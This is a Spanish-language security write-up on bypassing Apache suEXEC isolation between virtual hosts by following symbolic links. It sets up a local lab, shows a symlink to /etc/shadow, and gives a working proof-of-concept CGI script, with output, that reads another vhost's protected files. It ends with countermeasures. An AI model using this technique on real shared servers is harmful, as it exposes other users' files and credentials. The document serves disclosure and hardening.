Apache suEXEC Bypass

Written by frame at kernelpanik.org

Introducción y conceptos previos

Actualmente la proliferación de múltiples hosts virtuales[1] albergados sobre un único sistema es un hecho. También es un hecho la ejecución de código en el servidor web. PHP, Perl, o cualquiera de los lenguajes soportados por Apache, bien sean como módulo, bien haciendo uso del *Common Gateway Interface* (CGI), se han convertido en algo cotididiano. Si bien, por cotidianos, no han dejado desde su aparación de plantear problemas de seguridad a muy diferentes niveles.

Uno de estos niveles, sobre el que girará este documento, es el aislamiento entre los múltiples hosts virtuales, en adelante vhosts, albergados en un único servidor. Apache, por defecto, ejecuta sus peticiones, sean dinámicas o estáticas, bajo un único identificador de usuario, comunmente nobody, en función del sistema y la configuración del mismo. Ejecutar las peticiones bajo éste único usuario, algo aceptable a nivel de seguridad en servidores que no admitan ejecución de código, plantea una falta de seguridad y privacidad en aquellos que sí lo permiten de tal modo que un usuario del servidor web podrá ejecutar comandos con privilegios de lectura sobre los archivos en los que el usuario usado por Apache tenga privilegios, comunmente, y como es óbvio, todo el árbol web. Este problema, al menos hasta que el módulo Apache MPM perchild[2] esté concluido, se viene solucionando con el uso de cgi-wrappers. ¿Qué es un cgi-wrapper?. De forma resumida podemos decir que es el software hacia el que se redirigen las peticiones CGI y que tiene la habilidad de cambiar el usuario con el que se ejecuta esa petición a uno definido por el administrador en función del vhost sobre el que se realice la misma, permitiendo por tanto el aislamiento entre los distintos vhost que conforman el sistema. Actualmente existe más de una solución en este sentido, por citar algunas: suEXEC[3], CGIWrap[4] o sbox[5].

El propósito de éste documento es mostrar una técnica que permite evadir el aislamiento entre vhost impuesto por el uso de un cgi-wrapper, así como presentar unas contramedidas a este problema. El cgi-wrapper usado será Apache suEXEC, si bien, aunque no se ha comprobado de forma empírica, las técnicas aquí usadas pudieran servir para alguna o todas las restantes soluciones. La perfecta comprensión de éste texto requiere de unos conocimientos previos sobre el servidor web Apache, sus características y su sistema de configuración.

---

1 Apache Virtual Host documentation: http://httpd.apache.org/docs/vhosts/
2 Apache MPM perchild: http://httpd.apache.org/docs-2.0/mod/perchild.html
3 Apache suEXEC Support: http://httpd.apache.org/docs/suexec.html
4 CGIWrap: http://cgiwrap.unixtools.org/
5 sbox: http://stein.cshl.org/software/sbox/

Creación y configuración del entorno de trabajo

Para clarificar al máximo el presente documento y para ayudar a todos aquellos que quieran replicar el escenario usado, vamos a crear y configurar el entorno donde posteriormente llevaremos a cabo los pasos necesarios para sobrepasar la protección ofrecida por Apache suEXEC.

El primer elemento será el servidor web. En éste caso usamos el ofrecido por Fedora Core 3, pero bien pudiera ser uno compilado por nosotros mismos.

```
$ telnet localhost 80
HEAD / HTTP/1.0

HTTP/1.1 200 OK
Date: Thu, 25 Nov 2004 15:31:09 GMT
Server: Apache/2.0.52 (Fedora)
Connection: close
Content-Type: text/html; charset=UTF-8
```

El siguiente elemento será suEXEC, para más información sobre su instalación y configuración ver la tercera nota a pié de página situada en la página superior.

```
# cat /var/log/httpd/error_log | grep suEXEC
[notice] suEXEC mechanism enabled (wrapper: /usr/sbin/suexec)
```

También necesitamos dos vhosts configurados correctamente para hacer uso de dos usuarios distintos mediante suEXEC. Así mismo, definiremos un entorno de ejecución para cgi's.

```
<VirtualHost 127.0.0.1:80>
    ServerAdmin victim@domain
    SuexecUserGroup victim victim
    DocumentRoot /var/www/www.victim.kpk
    ServerName www.victim.kpk
    ErrorLog logs/www.victim.kpk.error.log
    CustomLog logs/www.victim.kpk.log common
    ScriptAlias /cgi-bin /var/www/www.victim.kpk/cgi-bin/
</VirtualHost>

<VirtualHost 127.0.0.1:80>
    ServerAdmin eviluser@domain
    SuexecUserGroup eviluser eviluser
    DocumentRoot /var/www/www.evilhost.kpk/
    ServerName www.evilhost.kpk
    ErrorLog logs/www.evilhost.kpk.error.log
    CustomLog logs/www.evilhost.kpk.log common
    ScriptAlias /cgi-bin /var/www/www.evilhost.kpk/cgi-bin/
</VirtualHost>
```

A continuación configuramos */etc/hosts* para que ambos hosts apunten a la ip del servidor web, en este caso *127.0.0.1*

```
$ cat /etc/hosts
127.0.0.1       www.victim.kpk
127.0.0.1       www.evilhost.kpk
```

El siguiente listado del árbol web dónde se alojan nuestros vhosts nos muestra que los permisos son *750* en ambos directorios, el propietario es el usuario de cada host, y el grupo es apache.

```
# ls - /var/www
total 8
drwxr-x---  3 eviluser apache 4096 nov 25 17:00 www.evilhost.kpk
drwxr-x---  3 victim   apache 4096 nov 25 17:00 www.victim.kpk
```

Para finalizar colocamos un *.htaccess* en *www.victim.kpk* que deniegue el acceso a cualquier usuario, creamos *index.html* y comprobamos que no se puede acceder vía web.

```
# cd /var/www/www.victim.kpk
# su victim
$ cat > index.html
<center><h1>www.victim.kpk</h1></center>
$ cat > .htaccess
deny from all

$ links -dump http://www.victim.kpk

                                !Acceso prohibido!

   Usted no tiene permiso para accesar a la direccion solicitada. Existe la
   posibilidad de que el directorio este protegido contra lectura o que no
   exista la documentacion requerida.


   Por favor contacte con el webmaster en caso de que usted crea que
   existe un error en el servidor.


Error 403

    www.victim.kpk
    Apache/2.0.52 (Fedora)
```

Una vez definido el entorno de trabajo procedemos a pasar a la siguiente sección en la cual expondremos la citada técnica y que llamaremos a partir de ahora y en lo sucesivo “Aravaca Method”, con todo el respeto a los habitantes de tal localidad, y sin ningún menosprecio hacia su persona. Dicho esto, prosigamos.

Aravaca Method Exposed: Bypassing Apache suEXEC

Son dos las circunstancías que permiten sobrepasar Apache suEXEC. La primera es el enlace simbólico y una de sus particularidades: permitir enlazar ficheros sobre los que no tenemos ningún tipo de privilegios. La segunda es que Apache por defecto sigue link simbólicos, dandonos así las herramientas necesarias para conseguir el fin propuesto.

```
$ ln -s /etc/shadow shadow
$ ls -l shadow
lrwxrwxrwx  1 eviluser eviluser 11 nov 25 19:53 shadow -> /etc/shadow
$ cat shadow
cat: shadow: Permiso denegado

# cat /etc/httpd/conf/httpd.conf | grep <no_tengo_ganas_de_pensar>
<Directory />
    Options FollowSymLinks
(..)
```

¿Qué hacemos con todo ésto?. Primeramente crear un link simbólico a nuestro objetivo, y posteriormente hacer una petición web sobre el link simbólico la cual no pasará a suEXEC dado que los links simbólicos son contenido estático procesable por Apache. Vamos a ello.

```
$ cd /var/www/www.evilhost.kpk/cgi-bin/
$ cat > aravaca.cgi
#!/bin/bash
echo "Content-type: text/html"
echo ""
echo ""

echo "Aravaca Method Exposed: Proof of Concept<br>"
echo "=========================================<br>"
echo "Written by frame at kernelpanik.org<br>"
echo "http://www.kernelpanik.org<br><br>"

echo "<*> Checking suEXEC ID...<br>"
/usr/bin/id

echo "<br><br><*> Creating symlink to victim index.html and .htaccess<br>"
rm -f /var/www/www.evilhost.kpk/victim.index
rm -f /var/www/www.evilhost.kpk/victim.htaccess
ln -s /var/www/www.victim.kpk/index.html /var/www/www.evilhost.kpk/victim.index
ln -s /var/www/www.victim.kpk/.htaccess /var/www/www.evilhost.kpk/victim.htaccess

echo "<*> Accessing to victim.index and victim.htaccess<br><br>"
/usr/bin/links -dump http://www.evilhost.kpk/victim.index
echo "<br><br>"
/usr/bin/links -dump http://www.evilhost.kpk/victim.htaccess
```

Una vez escrito nuestro *proof of concept*, en este caso denominado *aravaca.cgi,* únicamente resta probar que todo ha funcionado correctamente, y que tenemos acceso al index.html de la victima.

```
$ links -dump http://www.evilhost.kpk/cgi-bin/aravaca.cgi
   Aravaca Method Exposed: Proof of Concept
   ========================================
   Written by frame at kernelpanik.org
   http://www.kernelpanik.org

   <*> Checking suEXEC ID...
   uid=501(eviluser) gid=501(eviluser) groups=501(eviluser)

   <*> Creating symlink to victim index.html and .htaccess
   <*> Accessing to victim.index and victim.htaccess

   www.victim.kpk
   deny from all
```

Conclusiones y contramedidas

Queda demostrado que Apache suEXEC según la configuración por defecto suministrada por la Apache Software Foundation, y por extensión en otros ficheros de configuración, como el de Fedora Core 3, es vulnerable a lo expuesto en este documento.

La medida más inmediata para su corrección es la modificación de la opción FollowSymLinks por la opción SymLinksIfOwnerMatch, siempre que sea necesario el uso de enlaces simbólicos. Se han encontrado versiones empaquetadas de Apache, por ejemplo la del paquete de Debian, las cuales sí hacen uso de la directiva SymLinksIfOwnerMatch, en detrimento de FollowSymLinks.

Si la clausula “AllowOverride Options” está habilitada para los usuarios ninguna de estas medidas surtirá efecto puesto que el usuario malicioso podrá modificar a su antojo las opciones mediante un fihcero *.htaccess* construido a tal efecto.

Agradecimientos

A MaDj0kEr, por muchas cosas, y en este caso por la traducción. A todo Kernelpanik por haber creado este proyecto. Y a Hari Seldon, webero, gracias por tus preguntas y por nuestras charlas.

Licencia